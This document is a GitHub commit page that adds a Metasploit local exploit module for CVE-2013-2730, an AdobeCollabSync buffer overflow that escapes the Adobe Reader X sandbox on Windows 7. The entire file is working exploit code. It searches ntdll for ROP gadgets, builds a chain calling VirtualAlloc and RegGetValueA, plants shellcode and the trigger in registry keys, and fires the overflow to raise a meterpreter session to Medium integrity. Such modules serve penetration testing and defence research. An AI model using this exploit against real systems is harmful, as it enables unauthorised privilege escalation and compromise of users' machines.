Skip to content

Commit ecb9d1d

Browse files
committed
Landing rapid7#1848 - AdobeCollabSync Buffer Overflow on Adobe Reader X
2 parents e2aad89 + 53cb493 commit ecb9d1d

File tree

1 file changed

+359
-0
lines changed

1 file changed

+359
-0
lines changed
Lines changed: 359 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,359 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/windows/registry'
11+
require 'msf/core/post/common'
12+
require 'msf/core/post/file'
13+
14+
class Metasploit3 < Msf::Exploit::Local
15+
Rank = GreatRanking
16+
17+
include Msf::Exploit::EXE
18+
include Msf::Post::Common
19+
include Msf::Post::File
20+
include Msf::Post::Windows::Registry
21+
22+
def initialize(info={})
23+
super(update_info(info, {
24+
'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',
25+
'Description' => %q{
26+
This module exploits a vulnerability on Adobe Reader X Sandbox. The
27+
vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe
28+
process to write register values which can be used to trigger a buffer overflow on
29+
the AdobeCollabSync component, allowing to achieve Medium Integrity Level
30+
privileges from a Low Integrity AcroRd32.exe process. This module has been tested
31+
successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' =>
35+
[
36+
'Felipe Andres Manzano', # Vulnerability discovery and PoC
37+
'juan vazquez' # Metasploit module
38+
],
39+
'References' =>
40+
[
41+
[ 'CVE', '2013-2730' ],
42+
[ 'OSVDB', '93355' ],
43+
[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]
44+
],
45+
'Arch' => ARCH_X86,
46+
'Platform' => 'win',
47+
'SessionTypes' => 'meterpreter',
48+
'Payload' =>
49+
{
50+
'Space' => 12288,
51+
'DisableNops' => true
52+
},
53+
'Targets' =>
54+
[
55+
[ 'Adobe Reader X 10.1.4 / Windows 7 SP1',
56+
{
57+
'AdobeCollabSyncTrigger' => 0x18fa0,
58+
'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"
59+
}
60+
],
61+
],
62+
'DefaultTarget' => 0,
63+
'DisclosureDate'=> 'May 14 2013'
64+
}))
65+
66+
end
67+
68+
def on_new_session
69+
print_status("Deleting Malicious Registry Keys...")
70+
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
71+
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")
72+
end
73+
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
74+
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")
75+
end
76+
print_status("Cleanup finished")
77+
end
78+
79+
# Test the process integrity level by trying to create a directory on the TEMP folder
80+
# Access should be granted with Medium Integrity Level
81+
# Access should be denied with Low Integrity Level
82+
# Usint this solution atm because I'm experiencing problems with railgun when trying
83+
# use GetTokenInformation
84+
def low_integrity_level?
85+
tmp_dir = expand_path("%TEMP%")
86+
cd(tmp_dir)
87+
new_dir = "#{rand_text_alpha(5)}"
88+
begin
89+
session.shell_command_token("mkdir #{new_dir}")
90+
rescue
91+
return true
92+
end
93+
94+
if directory?(new_dir)
95+
session.shell_command_token("rmdir #{new_dir}")
96+
return false
97+
else
98+
return true
99+
end
100+
end
101+
102+
def check_trigger
103+
signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)
104+
if signature == target['AdobeCollabSyncTriggerSignature']
105+
return true
106+
end
107+
return false
108+
end
109+
110+
def collect_addresses
111+
# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe
112+
@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']
113+
vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")
114+
115+
# find kernel32.dll
116+
kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")
117+
@addresses['kernel32.dll'] = kernel32["return"]
118+
if @addresses['kernel32.dll'] == 0
119+
fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll")
120+
end
121+
vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")
122+
123+
# find kernel32.dll methods
124+
virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")
125+
@addresses['VirtualAlloc'] = virtual_alloc["return"]
126+
if @addresses['VirtualAlloc'] == 0
127+
fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc")
128+
end
129+
vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")
130+
131+
reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")
132+
@addresses['RegGetValueA'] = reg_get_value["return"]
133+
if @addresses['RegGetValueA'] == 0
134+
fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA")
135+
end
136+
vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")
137+
138+
# find ntdll.dll
139+
ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")
140+
@addresses['ntdll.dll'] = ntdll["return"]
141+
if @addresses['ntdll.dll'] == 0
142+
fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll")
143+
end
144+
vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")
145+
end
146+
147+
# Search a gadget identified by pattern on the process memory
148+
def search_gadget(base, offset_start, offset_end, pattern)
149+
mem = base + offset_start
150+
length = offset_end - offset_start
151+
mem_contents = session.railgun.memread(mem, length)
152+
return mem_contents.index(pattern)
153+
end
154+
155+
# Search for gadgets on ntdll.dll
156+
def search_gadgets
157+
ntdll_text_base = 0x10000
158+
search_length = 0xd6000
159+
160+
@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")
161+
if @gadgets['mov [edi], ecx # ret'].nil?
162+
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")
163+
end
164+
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']
165+
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base
166+
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")
167+
168+
@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2
169+
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")
170+
171+
@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")
172+
if @gadgets['pop edi # ret'].nil?
173+
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'")
174+
end
175+
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']
176+
@gadgets['pop edi # ret'] += ntdll_text_base
177+
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")
178+
179+
@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")
180+
if @gadgets['pop ecx # ret'].nil?
181+
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")
182+
end
183+
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']
184+
@gadgets['pop ecx # ret'] += ntdll_text_base
185+
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
186+
end
187+
188+
def store(buf, data, address)
189+
i = 0
190+
while (i < data.length)
191+
buf << [@gadgets['pop edi # ret']].pack("V")
192+
buf << [address + i].pack("V") # edi
193+
buf << [@gadgets['pop ecx # ret']].pack("V")
194+
buf << data[i, 4].ljust(4,"\x00") # ecx
195+
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
196+
i = i + 4
197+
end
198+
return i
199+
end
200+
201+
def create_rop_chain
202+
mem = 0x0c0c0c0c
203+
204+
buf = [0x58000000 + 1].pack("V")
205+
buf << [0x58000000 + 2].pack("V")
206+
buf << [0].pack("V")
207+
buf << [0x58000000 + 4].pack("V")
208+
209+
buf << [0x58000000 + 5].pack("V")
210+
buf << [0x58000000 + 6].pack("V")
211+
buf << [0x58000000 + 7].pack("V")
212+
buf << [@gadgets['ret']].pack("V")
213+
buf << rand_text(8)
214+
215+
# Allocate Memory To store the shellcode and the necessary data to read the
216+
# shellcode stored in the registry
217+
buf << [@addresses['VirtualAlloc']].pack("V")
218+
buf << [@gadgets['ret']].pack("V")
219+
buf << [mem].pack("V") # lpAddress
220+
buf << [0x00010000].pack("V") # SIZE_T dwSize
221+
buf << [0x00003000].pack("V") # DWORD flAllocationType
222+
buf << [0x00000040].pack("V") # flProtect
223+
224+
# Put in the allocated memory the necessary data in order to read the
225+
# shellcode stored in the registry
226+
# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
227+
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"
228+
reg_key_length = store(buf, reg_key, mem)
229+
# 2) The reg entry: shellcode
230+
value_key = "shellcode\x00"
231+
store(buf, value_key, mem + reg_key_length)
232+
# 3) The output buffer size: 0x3000
233+
size_buffer = 0x3000
234+
buf << [@gadgets['pop edi # ret']].pack("V")
235+
buf << [mem + 0x50].pack("V") # edi
236+
buf << [@gadgets['pop ecx # ret']].pack("V")
237+
buf << [size_buffer].pack("V") # ecx
238+
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
239+
240+
# Copy the shellcode from the the registry to the
241+
# memory allocated with executable permissions and
242+
# ret into there
243+
buf << [@addresses['RegGetValueA']].pack("V")
244+
buf << [mem + 0x1000].pack("V") # ret to shellcode
245+
buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER
246+
buf << [mem].pack("V") # lpSubKey
247+
buf << [mem + 0x3c].pack("V") # lpValue
248+
buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY
249+
buf << [0].pack("V") # pdwType
250+
buf << [mem + 0x1000].pack("V") # pvData
251+
buf << [mem + 0x50].pack("V") # pcbData
252+
end
253+
254+
# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry
255+
def store_data_registry(buf)
256+
vprint_status("Creating the Registry Key to store the shellcode...")
257+
258+
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
259+
vprint_good("Registry Key created")
260+
else
261+
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode")
262+
end
263+
264+
vprint_status("Storing the shellcode in the Registry...")
265+
266+
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")
267+
vprint_good("Shellcode stored")
268+
else
269+
fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry")
270+
end
271+
272+
# Create the Malicious registry entry in order to exploit....
273+
vprint_status("Creating the Registry Key to trigger the Overflow...")
274+
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
275+
vprint_good("Registry Key created")
276+
else
277+
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")
278+
end
279+
280+
vprint_status("Storing the trigger in the Registry...")
281+
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")
282+
vprint_good("Trigger stored")
283+
else
284+
fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry")
285+
end
286+
end
287+
288+
def trigger_overflow
289+
vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")
290+
# Create a thread in order to execute the necessary code to launch AdobeCollabSync
291+
ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)
292+
if ret['return'] < 1
293+
print_error("Unable to CreateThread")
294+
return
295+
end
296+
hthread = ret['return']
297+
298+
vprint_status("Resuming the Thread...")
299+
# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!
300+
ret = client.railgun.kernel32.ResumeThread(hthread)
301+
if ret['return'] < 1
302+
fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread")
303+
end
304+
end
305+
306+
def check
307+
@addresses = {}
308+
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
309+
@addresses['AcroRd32.exe'] = acrord32["return"]
310+
if @addresses['AcroRd32.exe'] == 0
311+
return Msf::Exploit::CheckCode::Unknown
312+
elsif check_trigger
313+
return Msf::Exploit::CheckCode::Vulnerable
314+
else
315+
return Msf::Exploit::CheckCode::Detected
316+
end
317+
end
318+
319+
def exploit
320+
@addresses = {}
321+
@gadgets = {}
322+
323+
print_status("Verifying we're in the correct target process...")
324+
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
325+
@addresses['AcroRd32.exe'] = acrord32["return"]
326+
if @addresses['AcroRd32.exe'] == 0
327+
fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found")
328+
end
329+
vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")
330+
331+
print_status("Checking the AcroRd32.exe image...")
332+
if not check_trigger
333+
fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")
334+
end
335+
336+
print_status("Checking the Process Integrity Level...")
337+
if not low_integrity_level?
338+
fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")
339+
end
340+
341+
print_status("Collecting necessary addresses for exploit...")
342+
collect_addresses
343+
344+
print_status("Searching the gadgets needed to build the ROP chain...")
345+
search_gadgets
346+
print_good("Gadgets collected...")
347+
348+
print_status("Building the ROP chain...")
349+
buf = create_rop_chain
350+
print_good("ROP chain ready...")
351+
352+
print_status("Storing the shellcode and the trigger in the Registry...")
353+
store_data_registry(buf)
354+
355+
print_status("Executing AdobeCollabSync.exe...")
356+
trigger_overflow
357+
end
358+
end
359+

0 commit comments

Comments
 (0)